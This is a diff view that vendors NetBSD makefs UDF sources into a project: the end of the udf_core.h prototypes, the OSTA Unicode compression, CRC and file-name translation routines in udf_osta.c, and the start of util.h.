/* constructed structures */
|
||||
struct anchor_vdp *anchors[UDF_ANCHORS]; /* anchors to VDS */
|
||||
struct pri_vol_desc *primary_vol; /* identification */
|
||||
struct logvol_desc *logical_vol; /* main mapping v->p */
|
||||
struct unalloc_sp_desc *unallocated; /* free UDF space */
|
||||
struct impvol_desc *implementation; /* likely reduntant */
|
||||
struct logvol_int_desc *logvol_integrity; /* current integrity */
|
||||
struct part_desc *partitions[UDF_PARTITIONS]; /* partitions */
|
||||
|
||||
struct space_bitmap_desc*part_unalloc_bits[UDF_PARTITIONS];
|
||||
struct space_bitmap_desc*part_freed_bits [UDF_PARTITIONS];
|
||||
|
||||
/* track information */
|
||||
struct mmc_trackinfo first_ti_partition;
|
||||
struct mmc_trackinfo first_ti;
|
||||
struct mmc_trackinfo last_ti;
|
||||
|
||||
/* current partitions for allocation */
|
||||
int data_part;
|
||||
int metadata_part;
|
||||
int fids_part;
|
||||
|
||||
/* current highest file unique_id */
|
||||
uint64_t unique_id;
|
||||
|
||||
/* block numbers as offset in partition, building ONLY! */
|
||||
uint32_t alloc_pos[UDF_PARTITIONS];
|
||||
|
||||
/* derived; points *into* other structures */
|
||||
struct udf_logvol_info *logvol_info; /* inside integrity */
|
||||
|
||||
/* fileset and root directories */
|
||||
struct fileset_desc *fileset_desc; /* normally one */
|
||||
|
||||
/* logical to physical translations */
|
||||
int vtop[UDF_PMAPS+1]; /* vpartnr trans */
|
||||
int vtop_tp[UDF_PMAPS+1]; /* type of trans */
|
||||
|
||||
/* spareable */
|
||||
struct udf_sparing_table*sparing_table; /* replacements */
|
||||
|
||||
/* VAT file */
|
||||
uint32_t vat_size; /* length */
|
||||
uint32_t vat_allocated; /* allocated length */
|
||||
uint32_t vat_start; /* offset 1st entry */
|
||||
uint8_t *vat_contents; /* the VAT */
|
||||
|
||||
/* meta data partition */
|
||||
struct extfile_entry *meta_file;
|
||||
struct extfile_entry *meta_mirror;
|
||||
struct extfile_entry *meta_bitmap;
|
||||
|
||||
/* lvint */
|
||||
uint32_t num_files;
|
||||
uint32_t num_directories;
|
||||
uint32_t part_size[UDF_PARTITIONS];
|
||||
uint32_t part_free[UDF_PARTITIONS];
|
||||
|
||||
/* fsck */
|
||||
union dscrptr *vds_buf;
|
||||
int vds_size;
|
||||
struct udf_lvintq lvint_trace[UDF_LVDINT_SEGMENTS]; /* fsck */
|
||||
uint8_t *lvint_history; /* fsck */
|
||||
int lvint_history_len; /* fsck */
|
||||
int lvint_history_wpos; /* fsck */
|
||||
int lvint_history_ondisc_len; /* fsck */
|
||||
};
|
||||
|
||||
|
||||
/* global variables describing disc and format */
|
||||
extern struct udf_create_context context;
|
||||
extern struct udf_disclayout layout;
|
||||
extern struct mmc_discinfo mmc_discinfo; /* device: disc info */
|
||||
|
||||
extern int dev_fd_rdonly; /* device: open readonly! */
|
||||
extern int dev_fd; /* device: file descriptor */
|
||||
extern struct stat dev_fd_stat; /* device: last stat info */
|
||||
extern char *dev_name; /* device: name */
|
||||
extern int emul_mmc_profile; /* for files */
|
||||
extern int emul_packetsize; /* for discs and files */
|
||||
extern int emul_sectorsize; /* for files */
|
||||
extern off_t emul_size; /* for files */
|
||||
extern uint32_t wrtrack_skew; /* offset for write sector0 */
|
||||
|
||||
|
||||
/* prototypes */
|
||||
extern void udf_init_create_context(void);
|
||||
extern int a_udf_version(const char *s, const char *id_type);
|
||||
extern int is_zero(void *blob, int size);
|
||||
extern uint32_t udf_bytes_to_sectors(uint64_t bytes);
|
||||
|
||||
extern int udf_calculate_disc_layout(int min_udf,
|
||||
uint32_t first_lba, uint32_t last_lba,
|
||||
uint32_t sector_size, uint32_t blockingnr);
|
||||
extern void udf_dump_layout(void);
|
||||
extern int udf_spareable_blocks(void);
|
||||
extern int udf_spareable_blockingnr(void);
|
||||
|
||||
extern void udf_osta_charset(struct charspec *charspec);
|
||||
extern void udf_encode_osta_id(char *osta_id, uint16_t len, char *text);
|
||||
extern void udf_to_unix_name(char *result, int result_len, char *id, int len,
|
||||
struct charspec *chsp);
|
||||
extern void unix_to_udf_name(char *result, uint8_t *result_len,
|
||||
char const *name, int name_len, struct charspec *chsp);
|
||||
|
||||
extern void udf_set_regid(struct regid *regid, char const *name);
|
||||
extern void udf_add_domain_regid(struct regid *regid);
|
||||
extern void udf_add_udf_regid(struct regid *regid);
|
||||
extern void udf_add_impl_regid(struct regid *regid);
|
||||
extern void udf_add_app_regid(struct regid *regid);
|
||||
|
||||
extern int udf_check_tag(void *blob);
|
||||
extern int udf_check_tag_payload(void *blob, uint32_t max_length);
|
||||
extern int udf_check_tag_and_location(void *blob, uint32_t location);
|
||||
extern int udf_validate_tag_sum(union dscrptr *dscr);
|
||||
extern int udf_validate_tag_and_crc_sums(union dscrptr *dscr);
|
||||
|
||||
extern void udf_set_timestamp_now(struct timestamp *timestamp);
|
||||
extern void udf_timestamp_to_timespec(struct timestamp *timestamp,
|
||||
struct timespec *timespec);
|
||||
extern void udf_timespec_to_timestamp(struct timespec *timespec,
|
||||
struct timestamp *timestamp);
|
||||
|
||||
extern void udf_inittag(struct desc_tag *tag, int tagid, uint32_t loc);
|
||||
extern int udf_create_anchor(int num);
|
||||
|
||||
extern void udf_create_terminator(union dscrptr *dscr, uint32_t loc);
|
||||
extern int udf_create_primaryd(void);
|
||||
extern int udf_create_partitiond(int part_num);
|
||||
extern int udf_create_unalloc_spaced(void);
|
||||
extern int udf_create_sparing_tabled(void);
|
||||
extern int udf_create_space_bitmap(uint32_t dscr_size, uint32_t part_size_lba,
|
||||
struct space_bitmap_desc **sbdp);
|
||||
extern int udf_create_logical_dscr(void);
|
||||
extern int udf_create_impvold(char *field1, char *field2, char *field3);
|
||||
extern int udf_create_fsd(void);
|
||||
extern int udf_create_lvintd(int type);
|
||||
extern void udf_update_lvintd(int type);
|
||||
extern uint16_t udf_find_raw_phys(uint16_t raw_phys_part);
|
||||
|
||||
extern int udf_register_bad_block(uint32_t location);
|
||||
extern void udf_mark_allocated(uint32_t start_lb, int partnr, uint32_t blocks);
|
||||
|
||||
extern int udf_impl_extattr_check(struct impl_extattr_entry *implext);
|
||||
extern void udf_calc_impl_extattr_checksum(struct impl_extattr_entry *implext);
|
||||
extern int udf_extattr_search_intern(union dscrptr *dscr,
|
||||
uint32_t sattr, char const *sattrname,
|
||||
uint32_t *offsetp, uint32_t *lengthp);
|
||||
|
||||
extern int udf_create_new_fe(struct file_entry **fep, int file_type,
|
||||
struct stat *st);
|
||||
extern int udf_create_new_efe(struct extfile_entry **efep, int file_type,
|
||||
struct stat *st);
|
||||
|
||||
extern int udf_encode_symlink(uint8_t **pathbufp, uint32_t *pathlenp, char *target);
|
||||
|
||||
extern void udf_advance_uniqueid(void);
|
||||
extern uint32_t udf_tagsize(union dscrptr *dscr, uint32_t lb_size);
|
||||
extern int udf_fidsize(struct fileid_desc *fid);
|
||||
extern void udf_create_fid(uint32_t diroff, struct fileid_desc *fid,
|
||||
char *name, int namelen, struct long_ad *ref);
|
||||
extern int udf_create_parentfid(struct fileid_desc *fid, struct long_ad *parent);
|
||||
|
||||
extern int udf_create_meta_files(void);
|
||||
extern int udf_create_new_rootdir(union dscrptr **dscr);
|
||||
|
||||
extern int udf_create_VAT(union dscrptr **vat_dscr, struct long_ad *vatdata_loc);
|
||||
extern void udf_prepend_VAT_file(void);
|
||||
extern void udf_vat_update(uint32_t virt, uint32_t phys);
|
||||
extern int udf_append_VAT_file(void);
|
||||
extern int udf_writeout_VAT(void);
|
||||
|
||||
extern int udf_opendisc(const char *device, int open_flags);
|
||||
extern void udf_closedisc(void);
|
||||
extern int udf_prepare_disc(void);
|
||||
extern int udf_update_discinfo(void);
|
||||
extern int udf_update_trackinfo(struct mmc_trackinfo *ti);
|
||||
extern int udf_get_blockingnr(struct mmc_trackinfo *ti);
|
||||
extern void udf_synchronise_caches(void);
|
||||
extern void udf_suspend_writing(void);
|
||||
extern void udf_allow_writing(void);
|
||||
|
||||
extern int udf_write_iso9660_vrs(void);
|
||||
|
||||
/* address translation */
|
||||
extern int udf_translate_vtop(uint32_t lb_num, uint16_t vpart,
|
||||
uint32_t *lb_numres, uint32_t *extres);
|
||||
|
||||
/* basic sector read/write with caching */
|
||||
extern int udf_read_sector(void *sector, uint64_t location);
|
||||
extern int udf_write_sector(void *sector, uint64_t location);
|
||||
|
||||
/* extent reading and writing */
|
||||
extern int udf_read_phys(void *blob, uint32_t location, uint32_t sects);
|
||||
extern int udf_write_phys(void *blob, uint32_t location, uint32_t sects);
|
||||
|
||||
extern int udf_read_virt(void *blob, uint32_t location, uint16_t vpart,
|
||||
uint32_t sectors);
|
||||
extern int udf_write_virt(void *blob, uint32_t location, uint16_t vpart,
|
||||
uint32_t sectors);
|
||||
|
||||
extern int udf_read_dscr_phys(uint32_t sector, union dscrptr **dstp);
|
||||
extern int udf_write_dscr_phys(union dscrptr *dscr, uint32_t location,
|
||||
uint32_t sects);
|
||||
|
||||
extern int udf_read_dscr_virt(uint32_t sector, uint16_t vpart,
|
||||
union dscrptr **dstp);
|
||||
extern int udf_write_dscr_virt(union dscrptr *dscr,
|
||||
uint32_t location, uint16_t vpart, uint32_t sects);
|
||||
|
||||
extern void udf_metadata_alloc(int nblk, struct long_ad *pos);
|
||||
extern void udf_data_alloc(int nblk, struct long_ad *pos);
|
||||
extern void udf_fids_alloc(int nblk, struct long_ad *pos);
|
||||
|
||||
extern int udf_derive_format(int req_enable, int req_disable);
|
||||
extern int udf_proces_names(void);
|
||||
extern int udf_surface_check(void);
|
||||
|
||||
extern int udf_do_newfs_prefix(void);
|
||||
extern int udf_do_rootdir(void);
|
||||
extern int udf_do_newfs_postfix(void);
|
||||
|
||||
extern void udf_dump_discinfo(struct mmc_discinfo *di);
|
||||
|
||||
#endif /* _UDF_CORE_H_ */
|
||||
514
thirdparty/makefs/udf_osta.c
vendored
Normal file
514
thirdparty/makefs/udf_osta.c
vendored
Normal file
@@ -0,0 +1,514 @@
|
||||
/* $NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $ */
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
#include <inttypes.h>
|
||||
#include <sys/cdefs.h>
|
||||
// __KERNEL_RCSID(0, "$NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $");
|
||||
|
||||
/*
|
||||
* Various routines from the OSTA 2.01 specs. Copyrights are included with
|
||||
* each code segment. Slight whitespace modifications have been made for
|
||||
* formatting purposes. Typos/bugs have been fixed.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "udf_osta.h"
|
||||
|
||||
#ifndef _KERNEL
|
||||
#include <ctype.h>
|
||||
#endif
|
||||
|
||||
/*****************************************************************************/
|
||||
/***********************************************************************
|
||||
* OSTA compliant Unicode compression, uncompression routines.
|
||||
* Copyright 1995 Micro Design International, Inc.
|
||||
* Written by Jason M. Rinn.
|
||||
* Micro Design International gives permission for the free use of the
|
||||
* following source code.
|
||||
*/
|
||||
|
||||
/***********************************************************************
|
||||
* Takes an OSTA CS0 compressed unicode name, and converts
|
||||
* it to Unicode.
|
||||
* The Unicode output will be in the byte order
|
||||
* that the local compiler uses for 16-bit values.
|
||||
* NOTE: This routine only performs error checking on the compID.
|
||||
* It is up to the user to ensure that the unicode buffer is large
|
||||
* enough, and that the compressed unicode name is correct.
|
||||
*
|
||||
* RETURN VALUE
|
||||
*
|
||||
* The number of unicode characters which were uncompressed.
|
||||
* A -1 is returned if the compression ID is invalid.
|
||||
*/
|
||||
int
|
||||
udf_UncompressUnicode(
|
||||
int numberOfBytes, /* (Input) number of bytes read from media. */
|
||||
byte *UDFCompressed, /* (Input) bytes read from media. */
|
||||
unicode_t *unicode) /* (Output) uncompressed unicode characters. */
|
||||
{
|
||||
unsigned int compID;
|
||||
int returnValue, unicodeIndex, byteIndex;
|
||||
|
||||
/* Use UDFCompressed to store current byte being read. */
|
||||
compID = UDFCompressed[0];
|
||||
|
||||
/* First check for valid compID. */
|
||||
if (compID != 8 && compID != 16) {
|
||||
returnValue = -1;
|
||||
} else {
|
||||
unicodeIndex = 0;
|
||||
byteIndex = 1;
|
||||
|
||||
/* Loop through all the bytes. */
|
||||
while (byteIndex < numberOfBytes) {
|
||||
if (compID == 16) {
|
||||
/* Move the first byte to the high bits of the
|
||||
* unicode char.
|
||||
*/
|
||||
unicode[unicodeIndex] =
|
||||
UDFCompressed[byteIndex++] << 8;
|
||||
} else {
|
||||
unicode[unicodeIndex] = 0;
|
||||
}
|
||||
if (byteIndex < numberOfBytes) {
|
||||
/*Then the next byte to the low bits. */
|
||||
unicode[unicodeIndex] |=
|
||||
UDFCompressed[byteIndex++];
|
||||
}
|
||||
unicodeIndex++;
|
||||
}
|
||||
returnValue = unicodeIndex;
|
||||
}
|
||||
return(returnValue);
|
||||
}
|
||||
|
||||
/***********************************************************************
|
||||
* DESCRIPTION:
|
||||
* Takes a string of unicode wide characters and returns an OSTA CS0
|
||||
* compressed unicode string. The unicode MUST be in the byte order of
|
||||
* the compiler in order to obtain correct results. Returns an error
|
||||
* if the compression ID is invalid.
|
||||
*
|
||||
* NOTE: This routine assumes the implementation already knows, by
|
||||
* the local environment, how many bits are appropriate and
|
||||
* therefore does no checking to test if the input characters fit
|
||||
* into that number of bits or not.
|
||||
*
|
||||
* RETURN VALUE
|
||||
*
|
||||
* The total number of bytes in the compressed OSTA CS0 string,
|
||||
* including the compression ID.
|
||||
* A -1 is returned if the compression ID is invalid.
|
||||
*/
|
||||
int
|
||||
udf_CompressUnicode(
|
||||
int numberOfChars, /* (Input) number of unicode characters. */
|
||||
int compID, /* (Input) compression ID to be used. */
|
||||
unicode_t *unicode, /* (Input) unicode characters to compress. */
|
||||
byte *UDFCompressed) /* (Output) compressed string, as bytes. */
|
||||
{
|
||||
int byteIndex, unicodeIndex;
|
||||
|
||||
if (compID != 8 && compID != 16) {
|
||||
byteIndex = -1; /* Unsupported compression ID ! */
|
||||
} else {
|
||||
/* Place compression code in first byte. */
|
||||
UDFCompressed[0] = compID;
|
||||
|
||||
byteIndex = 1;
|
||||
unicodeIndex = 0;
|
||||
while (unicodeIndex < numberOfChars) {
|
||||
if (compID == 16) {
|
||||
/* First, place the high bits of the char
|
||||
* into the byte stream.
|
||||
*/
|
||||
UDFCompressed[byteIndex++] =
|
||||
(unicode[unicodeIndex] & 0xFF00) >> 8;
|
||||
}
|
||||
/*Then place the low bits into the stream. */
|
||||
UDFCompressed[byteIndex++] =
|
||||
unicode[unicodeIndex] & 0x00FF;
|
||||
unicodeIndex++;
|
||||
}
|
||||
}
|
||||
return(byteIndex);
|
||||
}
|
||||
|
||||
/*****************************************************************************/
|
||||
/*
|
||||
* CRC 010041
|
||||
*/
|
||||
static unsigned short crc_table[256] = {
|
||||
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
|
||||
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
|
||||
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
|
||||
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
|
||||
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
|
||||
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
|
||||
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
|
||||
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
|
||||
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
|
||||
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
|
||||
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
|
||||
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
|
||||
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
|
||||
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
|
||||
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
|
||||
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
|
||||
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
|
||||
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
|
||||
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
|
||||
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
|
||||
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
|
||||
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
|
||||
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
|
||||
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
|
||||
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
|
||||
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
|
||||
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
|
||||
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
|
||||
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
|
||||
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
|
||||
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
|
||||
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
|
||||
};
|
||||
|
||||
unsigned short
|
||||
udf_cksum(unsigned char *s, int n)
|
||||
{
|
||||
unsigned short crc=0;
|
||||
|
||||
while (n-- > 0)
|
||||
crc = crc_table[(crc>>8 ^ *s++) & 0xff] ^ (crc<<8);
|
||||
return crc;
|
||||
}
|
||||
|
||||
/* UNICODE Checksum */
|
||||
unsigned short
|
||||
udf_unicode_cksum(unsigned short *s, int n)
|
||||
{
|
||||
unsigned short crc=0;
|
||||
|
||||
while (n-- > 0) {
|
||||
/* Take high order byte first--corresponds to a big endian
|
||||
* byte stream.
|
||||
*/
|
||||
crc = crc_table[(crc>>8 ^ (*s>>8)) & 0xff] ^ (crc<<8);
|
||||
crc = crc_table[(crc>>8 ^ (*s++ & 0xff)) & 0xff] ^ (crc<<8);
|
||||
}
|
||||
return crc;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Calculates a 16-bit checksum of the Implementation Use
|
||||
* Extended Attribute header or Application Use Extended Attribute
|
||||
* header. The fields AttributeType through ImplementationIdentifier
|
||||
* (or ApplicationIdentifier) inclusively represent the
|
||||
* data covered by the checksum (48 bytes).
|
||||
*
|
||||
*/
|
||||
uint16_t udf_ea_cksum(uint8_t *data) {
|
||||
uint16_t checksum = 0;
|
||||
int count;
|
||||
|
||||
for (count = 0; count < 48; count++) {
|
||||
checksum += *data++;
|
||||
}
|
||||
|
||||
return checksum;
|
||||
}
|
||||
|
||||
|
||||
#ifdef MAIN
|
||||
unsigned char bytes[] = { 0x70, 0x6A, 0x77 };
|
||||
|
||||
main(void)
|
||||
{
|
||||
unsigned short x;
|
||||
x = cksum(bytes, sizeof bytes);
|
||||
printf("checksum: calculated=%4.4x, correct=%4.4x\en", x, 0x3299);
|
||||
exit(0);
|
||||
}
|
||||
#endif
|
||||
|
||||
/*****************************************************************************/
|
||||
/* #ifdef NEEDS_ISPRINT */
|
||||
/***********************************************************************
|
||||
* OSTA UDF compliant file name translation routine for OS/2,
|
||||
* Windows 95, Windows NT, Macintosh and UNIX.
|
||||
* Copyright 1995 Micro Design International, Inc.
|
||||
* Written by Jason M. Rinn.
|
||||
* Micro Design International gives permission for the free use of the
|
||||
* following source code.
|
||||
*/
|
||||
|
||||
/***********************************************************************
|
||||
* To use these routines with different operating systems.
|
||||
*
|
||||
* OS/2
|
||||
* Define OS2
|
||||
* Define MAXLEN = 254
|
||||
*
|
||||
* Windows 95
|
||||
* Define WIN_95
|
||||
* Define MAXLEN = 255
|
||||
*
|
||||
* Windows NT
|
||||
* Define WIN_NT
|
||||
* Define MAXLEN = 255
|
||||
*
|
||||
* Macintosh:
|
||||
* Define MAC.
|
||||
* Define MAXLEN = 31.
|
||||
*
|
||||
* UNIX
|
||||
* Define UNIX.
|
||||
* Define MAXLEN as specified by unix version.
|
||||
*/
|
||||
|
||||
#define ILLEGAL_CHAR_MARK 0x005F
|
||||
#define CRC_MARK 0x0023
|
||||
#define EXT_SIZE 5
|
||||
#define PERIOD 0x002E
|
||||
#define SPACE 0x0020
|
||||
|
||||
/*** PROTOTYPES ***/
|
||||
int IsIllegal(unicode_t ch);
|
||||
|
||||
/* Define a function or macro which determines if a Unicode character is
|
||||
* printable under your implementation.
|
||||
*/
|
||||
|
||||
|
||||
/* #include <stdio.h> */
|
||||
static int UnicodeIsPrint(unicode_t ch) {
|
||||
return (ch >=' ') && (ch != 127);
|
||||
}
|
||||
|
||||
|
||||
int UnicodeLength(unicode_t *string) {
|
||||
int length;
|
||||
length = 0;
|
||||
while (*string++) length++;
|
||||
|
||||
return length;
|
||||
}
|
||||
|
||||
|
||||
#ifdef _KERNEL
|
||||
static int isprint(int c) {
|
||||
return (c >= ' ') && (c != 127);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
/***********************************************************************
|
||||
* Translates a long file name to one using a MAXLEN and an illegal
|
||||
* char set in accord with the OSTA requirements. Assumes the name has
|
||||
* already been translated to Unicode.
|
||||
*
|
||||
* RETURN VALUE
|
||||
*
|
||||
* Number of unicode characters in translated name.
|
||||
*/
|
||||
int UDFTransName(
|
||||
unicode_t *newName, /* (Output)Translated name. Must be of length
|
||||
* MAXLEN */
|
||||
unicode_t *udfName, /* (Input) Name from UDF volume.*/
|
||||
int udfLen) /* (Input) Length of UDF Name. */
|
||||
{
|
||||
int Index, newIndex = 0, needsCRC = false; /* index is shadowed */
|
||||
int extIndex = 0, newExtIndex = 0, hasExt = false;
|
||||
#if defined OS2 || defined WIN_95 || defined WIN_NT
|
||||
int trailIndex = 0;
|
||||
#endif
|
||||
unsigned short valueCRC;
|
||||
unicode_t current;
|
||||
const char hexChar[] = "0123456789ABCDEF";
|
||||
|
||||
for (Index = 0; Index < udfLen; Index++) {
|
||||
current = udfName[Index];
|
||||
|
||||
if (IsIllegal(current) || !UnicodeIsPrint(current)) {
|
||||
needsCRC = true;
|
||||
/* Replace Illegal and non-displayable chars with
|
||||
* underscore.
|
||||
*/
|
||||
current = ILLEGAL_CHAR_MARK;
|
||||
/* Skip any other illegal or non-displayable
|
||||
* characters.
|
||||
*/
|
||||
while(Index+1 < udfLen && (IsIllegal(udfName[Index+1])
|
||||
|| !UnicodeIsPrint(udfName[Index+1]))) {
|
||||
Index++;
|
||||
}
|
||||
}
|
||||
|
||||
/* Record position of extension, if one is found. */
|
||||
if (current == PERIOD && (udfLen - Index -1) <= EXT_SIZE) {
|
||||
if (udfLen == Index + 1) {
|
||||
/* A trailing period is NOT an extension. */
|
||||
hasExt = false;
|
||||
} else {
|
||||
hasExt = true;
|
||||
extIndex = Index;
|
||||
newExtIndex = newIndex;
|
||||
}
|
||||
}
|
||||
|
||||
#if defined OS2 || defined WIN_95 || defined WIN_NT
|
||||
/* Record position of last char which is NOT period or space. */
|
||||
else if (current != PERIOD && current != SPACE) {
|
||||
trailIndex = newIndex;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (newIndex < MAXLEN) {
|
||||
newName[newIndex++] = current;
|
||||
} else {
|
||||
needsCRC = true;
|
||||
}
|
||||
}
|
||||
|
||||
#if defined OS2 || defined WIN_95 || defined WIN_NT
|
||||
/* For OS2, 95 & NT, truncate any trailing periods and\or spaces. */
|
||||
if (trailIndex != newIndex - 1) {
|
||||
newIndex = trailIndex + 1;
|
||||
needsCRC = true;
|
||||
hasExt = false; /* Trailing period does not make an
|
||||
* extension. */
|
||||
}
|
||||
#endif
|
||||
|
||||
if (needsCRC) {
|
||||
unicode_t ext[EXT_SIZE];
|
||||
int localExtIndex = 0;
|
||||
if (hasExt) {
|
||||
int maxFilenameLen;
|
||||
/* Translate extension, and store it in ext. */
|
||||
for(Index = 0; Index<EXT_SIZE &&
|
||||
extIndex + Index +1 < udfLen; Index++ ) {
|
||||
current = udfName[extIndex + Index + 1];
|
||||
if (IsIllegal(current) ||
|
||||
!UnicodeIsPrint(current)) {
|
||||
needsCRC = 1;
|
||||
/* Replace Illegal and non-displayable
|
||||
* chars with underscore.
|
||||
*/
|
||||
current = ILLEGAL_CHAR_MARK;
|
||||
/* Skip any other illegal or
|
||||
* non-displayable characters.
|
||||
*/
|
||||
while(Index + 1 < EXT_SIZE
|
||||
&& (IsIllegal(udfName[extIndex +
|
||||
Index + 2]) ||
|
||||
!isprint(udfName[extIndex +
|
||||
Index + 2]))) {
|
||||
Index++;
|
||||
}
|
||||
}
|
||||
ext[localExtIndex++] = current;
|
||||
}
|
||||
|
||||
/* Truncate filename to leave room for extension and
|
||||
* CRC.
|
||||
*/
|
||||
maxFilenameLen = ((MAXLEN - 5) - localExtIndex - 1);
|
||||
if (newIndex > maxFilenameLen) {
|
||||
newIndex = maxFilenameLen;
|
||||
} else {
|
||||
newIndex = newExtIndex;
|
||||
}
|
||||
} else if (newIndex > MAXLEN - 5) {
|
||||
/*If no extension, make sure to leave room for CRC. */
|
||||
newIndex = MAXLEN - 5;
|
||||
}
|
||||
newName[newIndex++] = CRC_MARK; /* Add mark for CRC. */
|
||||
|
||||
/*Calculate CRC from original filename from FileIdentifier. */
|
||||
valueCRC = udf_unicode_cksum(udfName, udfLen);
|
||||
/* Convert 16-bits of CRC to hex characters. */
|
||||
newName[newIndex++] = hexChar[(valueCRC & 0xf000) >> 12];
|
||||
newName[newIndex++] = hexChar[(valueCRC & 0x0f00) >> 8];
|
||||
newName[newIndex++] = hexChar[(valueCRC & 0x00f0) >> 4];
|
||||
newName[newIndex++] = hexChar[(valueCRC & 0x000f)];
|
||||
|
||||
/* Place a translated extension at end, if found. */
|
||||
if (hasExt) {
|
||||
newName[newIndex++] = PERIOD;
|
||||
for (Index = 0;Index < localExtIndex ;Index++ ) {
|
||||
newName[newIndex++] = ext[Index];
|
||||
}
|
||||
}
|
||||
}
|
||||
return(newIndex);
|
||||
}
|
||||
|
||||
#if defined OS2 || defined WIN_95 || defined WIN_NT
|
||||
/***********************************************************************
|
||||
* Decides if a Unicode character matches one of a list
|
||||
* of ASCII characters.
|
||||
* Used by OS2 version of IsIllegal for readability, since all of the
|
||||
* illegal characters above 0x0020 are in the ASCII subset of Unicode.
|
||||
* Works very similarly to the standard C function strchr().
|
||||
*
|
||||
* RETURN VALUE
|
||||
*
|
||||
* Non-zero if the Unicode character is in the given ASCII string.
|
||||
*/
|
||||
int UnicodeInString(
|
||||
unsigned char *string, /* (Input) String to search through. */
|
||||
unicode_t ch) /* (Input) Unicode char to search for. */
|
||||
{
|
||||
int found = false;
|
||||
while (*string != '\0' && found == false) {
|
||||
/* These types should compare, since both are unsigned
|
||||
* numbers. */
|
||||
if (*string == ch) {
|
||||
found = true;
|
||||
}
|
||||
string++;
|
||||
}
|
||||
return(found);
|
||||
}
|
||||
#endif /* OS2 */
|
||||
|
||||
/***********************************************************************
|
||||
* Decides whether the given character is illegal for a given OS.
|
||||
*
|
||||
* RETURN VALUE
|
||||
*
|
||||
* Non-zero if char is illegal.
|
||||
*/
|
||||
int IsIllegal(unicode_t ch)
|
||||
{
|
||||
#ifdef MAC
|
||||
/* Only illegal character on the MAC is the colon. */
|
||||
if (ch == 0x003A) {
|
||||
return(1);
|
||||
} else {
|
||||
return(0);
|
||||
}
|
||||
|
||||
#elif defined UNIX
|
||||
/* Illegal UNIX characters are NULL and slash. */
|
||||
if (ch == 0x0000 || ch == 0x002F) {
|
||||
return(1);
|
||||
} else {
|
||||
return(0);
|
||||
}
|
||||
|
||||
#elif defined OS2 || defined WIN_95 || defined WIN_NT
|
||||
/* Illegal char's for OS/2 according to WARP toolkit. */
|
||||
if (ch < 0x0020 || UnicodeInString("\\/:*?\"<>|", ch)) {
|
||||
return(1);
|
||||
} else {
|
||||
return(0);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
/* #endif*/ /* NEEDS_ISPRINT */
|
||||
|
||||
171
thirdparty/makefs/util.h
vendored
Normal file
171
thirdparty/makefs/util.h
vendored
Normal file
@@ -0,0 +1,171 @@
|
||||
/* $NetBSD: util.h,v 1.69 2016/04/10 19:05:50 roy Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1995
|
||||
